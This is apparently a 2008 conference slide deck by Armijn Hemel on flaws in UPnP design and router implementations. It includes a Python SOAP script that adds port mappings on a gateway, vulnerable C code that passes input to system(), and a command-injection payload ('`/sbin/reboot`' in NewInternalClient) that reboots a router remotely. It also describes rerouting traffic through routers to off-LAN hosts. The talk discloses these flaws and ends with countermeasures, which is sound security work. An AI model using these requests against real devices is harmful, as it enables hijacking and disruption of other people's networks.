Abusing Universal Plug and Play

Armijn Hemel

November 7, 2008

About me

Professional:

- 1996-2006: computer science at Utrecht University
- 2004-2006: MSc thesis: NixOS (`http://www.nixos.org/`)
- 2000-present: author Linux Magazine NL, Linux Magazine UK, NetOpus, ...
- 2005-present: `gpl-violations.org`
- 2006-present: board member of NLUUG (`http://www.nluug.nl/`)
- 2006-present: Chief Random Projects at Loohuis Consulting

Loohuis Consulting

- specialized hosting
- web development (AJAX and other buzzwords)
- GPL license compliance
- UPnP security
- router/embedded security advice

More info: `http://www.loohuis-consulting.nl/`

Today's topics and goals

- UPnP history
- UPnP protocol stack
- debunk common misconceptions about UPnP
- show errors in UPnP design
- show errors in UPnP implementations
- cause of errors

Warning: initial research was done in late 2005/early 2006. Two years later very little has changed.

Old hacks still work, new bugs surface.

More info: `http://www.upnp-hacks.org/`

Universal Plug and Play - introduction

Bring the desktop “plug and play” concept (Windows 98/Windows ME) to the (local) network.

Benefits:

- no configuration on the part of the user
- no installation of software, drivers, etcetera

UPnP is not unique:

- JINI (Sun Microsystems)
- IETF ZeroConf (Apple “Bonjour”, KDE, GNOME)

History of UPnP

- early 1999 as reaction by Microsoft to Sun's JINI
- early 2000: first products with UPnP (Windows ME, Intel's Open Source UPnP SDK)
- Windows ME and Windows XP have UPnP support built-in since their release
- September 2007: ISO standard

UPnP organizations:

- UPnP Forum: create and publish new UPnP standards.
- UPnP Implementers Corporation: UPnP certification and logo licensing.

UPnP protocol stack

0. addressing
1. discovery
2. description
3. control
4. eventing
5. presentation

UPnP protocol - discovery

```
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: ssdp:discover
MX: 10
ST: ssdp:all
```

Other UPnP devices should reply via UDP unicast:

```
HTTP/1.1 200 OK
CACHE-CONTROL:max-age=1800
EXT:
LOCATION:http://10.0.0.138:80/IGD.xml
SERVER:SpeedTouch 510 4.0 UPnP/1.0 (DG233B00011961)
ST:upnp:rootdevice
USN:uuid:UPnP-SpeedTouch510-1_00::upnp:rootdevice
```

Periodically send notifications to 239.255.255.250 on port 1900 UDP.

UPnP protocol - description

`LOCATION` points to XML:

```
Location: http://192.168.1.1:5431/dyndev/uuid:0014-bf09
```

This file describes (per "profile"):

- control URL
- events URL
- SCPD URL (description of which functions are available, in XML)

```
<service>
<serviceType>urn:schemas-upnp-org:service:
    WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConnection</serviceId>
<controlURL>/ipc</controlURL>
<eventSubURL>/ipc</eventSubURL>
<SCPDURL>/ipc.xml</SCPDURL>
</service>
```

UPnP protocol - control and eventing

Devices can be controlled by sending SOAP requests to the "control URL".

Some observations:

- There is no authentication/authorization in UPnP, being on the LAN is enough to do this.
- No administrative privileges needed: any user can do this.

Changes in "state variables" are sent over the network to subscribed clients.

Clients can subscribe to events, if they provide one (or more) callback URLs.

UPnP profiles

UPnP defines profiles: a set of actions, state variables, etcetera, that implement specific functionality.

Standardized profiles:

- Internet Gateway Device (IGD)
- MediaServer and MediaRenderer (A/V)
- HVAC
- and more

Most popular: Internet Gateway Device and (recently) MediaServer and MediaRenderer.

The term 'UPnP support' is very ambigious.

UPnP hacks

Hacks concentrate on profiles:

- contained pieces of functionality
- standardized (so I can expect what to hack)

Past hacks:

- IGD
- MediaRenderer

Internet Gateway Device profile

- WAN connection or ADSL modem (ADSL modems and (wireless) routers)
- firewall + Network Address Translation
- DNS server, DHCP server

(Some) subprofiles:

- WANIPConnection & WANPPPConnection
- LANHostConfigManagement
- Layer3Forwarding
- WANCableLinkConfig
- WANCommonInterfaceConfig
- ...

Focus: WANIPConnection/WANPPPConnection

Hacking the Internet Gateway Device

The Internet Gateway Device (IGD) is an interesting target:

- It controls access to and from a LAN. Control the IGD and you control the connection to the outside world.
- There are millions of routers that implement the UPnP IGD.

Port forwarding

The Internet Gateway Device profile allows port forwarding (via `WANIPConnection` or `WANPPPConnection` subprofiles).

Network Address Translation (NAT) does not easily work with predefined ports.

Workaround: programs dynamically agree on ports. Firewalls need to be dynamically adapted for this to work.

- MSN/Windows Live Messenger ("webcam", file transfers)
- remote assistance (Windows XP)
- X-Box
- many bittorrent clients

`WANIPConnection` and `WANPPPConnection` subprofiles

`WANIPConnection` and `WANPPPConnection` subprofiles control portmapping actions:

- add a portmapping
- delete a portmapping
- query existing portmappings

Typical scenarios:

1. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on our machine
2. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on multicast or broadcast address

Example code

```
#! /usr/bin/python

import os
from SOAPpy import *

endpoint = "http://10.0.0.138/upnp/control/wanpppcpppoa"
namespace = "urn:schemas-upnp-org:service:WANPPPConnection:1"
server = SOAPProxy(endpoint, namespace)
soapaction2 = "urn:schemas-upnp-org:service:WANPPPConnection
                :1#AddPortMapping"

server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
           NewExternalPort=5667, NewProtocol="TCP",
           NewInternalPort=22, NewInternalClient="10.0.0.152",
           NewEnabled=1,
           NewPortMappingDescription="SSH forward",
           NewLeaseDuration=0)
```

Port forwarding – protocol dumbness

The internal machine is specified using `NewInternalClient`.

According to the specifications `NewInternalClient` can be set to another internal machine.

Risk: open connections to other machines on the LAN:

- Windows file server
- internal webserver
- printer
- ...

Discussions I had with UPnP developers seem to indicate this is intended behaviour.

Port forwarding – implementation errors

Some implementations accept non local machines as `NewInternalClient`. Connections to `NewExternalPort` (IGD external interface) are forwarded to `NewInternalClient` *even if it is not on the LAN*.

- involuntary onion routing (many devices don't log by default)
- reroute traffic: stealing mail, website defacement without actually hacking the target web server, phishing (depending on network setup)
- ...

Vulnerable devices

- many Linux based devices with Broadcom chip and Broadcom UPnP stack
- Linux IGD based devices (primarily Edimax + clones)
- new devices which are coming to your neighbourhood soon

US Robotics already fixed the Broadcom sources for their devices in March 2005 but fixes never made it back into the original sources.

No Free Software ;-)

Code problems

The problem is proper parameter checking.

Input from SOAP request is often passed to an external command unchecked.

Risk: possibly execute commands *on the router* with *full system privileges* this way.

linux-igd hack

Many devices use old code from the Linux IGD project (code slightly adapted for readability):

```
int pmlist_AddPortMapping (char *protocol, char *externalPort,
                           char *internalClient,
                           char *internalPort) {
    char command[500];
    sprintf(command, "%s -t nat -A %s -i %s -p %s -m mport
          --dport %s -j DNAT --to %s:%s", g_iptables,
          g_preroutingChainName, g_extInterfaceName, protocol,
          externalPort, internalClient, internalPort);
    system (command);
    ...
    }
...
```

There are checks, but these still leave room for 13 bytes of exploit code.

linux-igd hack – continued

The following Python code sends a SOAP packet which lets the router (Edimax BR-6104K, with old firmware) *reboot* remotely:

```
server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
    NewExternalPort=21, NewProtocol="TCP", NewInternalPort=21,
    NewInternalClient="`/sbin/reboot`", NewEnabled=1,
    NewPortMappingDescription="blah", NewLeaseDuration=0)
```

And that is just rebooting the device...

Nicer to control:

- DNS
- routing

Risks and impact

Reaction from vendors/"security experts" after my research in 2006:

> *The attacks are not remote, but originate from the LAN, which make it difficult to exploit.*

Not true!

- virus, spyware, P2P software operate from within LAN and often send random data
- plenty of open access points (war driving)
- abuse errors in Flash plugin (shown in January 2008)

Some device accept UPnP requests on the WAN interface!

Important observation: from a security standpoint is no distinction between LAN/WAN!

Hacking the UPnP A/V profile

UPnP A/V profile is getting used more and more:

- Philips Streamium (some models)
- X-Box 360 (limited use)
- Noxon Audio
- Netgear MP115
- many more ("DLNA")

Hacking the UPnP A/V profile

Two basic types of devices:

1. `MediaServer`
2. `MediaRenderer`

`MediaServer` streams content, `MediaRenderer` plays content (audio or video). Specifications say both types of devices can be controlled by an *external* control point.

Hacking the UPnP A/V profile

Play content from somewhere else on a `MediaRenderer` without the user's consent (audio and video spamming), using `AVTransport` profile.

It works, but many "UPnP enabled renderers" don't expose UPnP to the outside world.

- Noxon Audio
- some Philips Streamium devices

Possible future hacks

Profiles:

- new WiFi alliance profiles for secure WPA2 setup
- DigitalSecurityCamera

UPnP implementations:

- eventing subsystem overflows
- XML stack overflows

Attacking the UPnP SOAP stacks

A few stacks are used:

- Intel UPnP SDK/libupnp
- custom stacks

Some do just string comparisons instead of implementing a proper XML parser!

Hacking opportunities:

- send bad XML and make the parser and/or the router crash
- send weird XML with commands embedded that are executed by the XML parser

How did this happen?

To blame: the ODM development model

- time to market
- features (security is not a feature)
- really really really tight profit margins

Commercial lifetime of many devices is 1.5 to 2 years, with most profit in the first 3 months.

- proper checking adds to costs (customers "vote with their wallets")
- proper checking delays availability in shops
- "security" is a claim, not a visible feature
- fixes are done ad hoc, not in a structured way. Old bugs reappear very often.

How did this happen? (2)

Many profiles "designed by a committee": recipe for disaster.

- silly actions are *required* to implement (`SetDNSServer`)
- focus is on functionality, no clarity on what input should be disallowed
- UPnP organizations are really closed: no Open Source projects involved

Counter measures for UPnP abuse

In implementations:

- don't trust input!

Desigining new protocols:

- treat LAN as WAN
- make test implementations and actively hunt for security holes
- ask for input from security people

Change in the UPnP stack:

- HTTPS + authentication
- whitelisting/blacklisting (coupled with DNS?)
- challenge response/PIN codes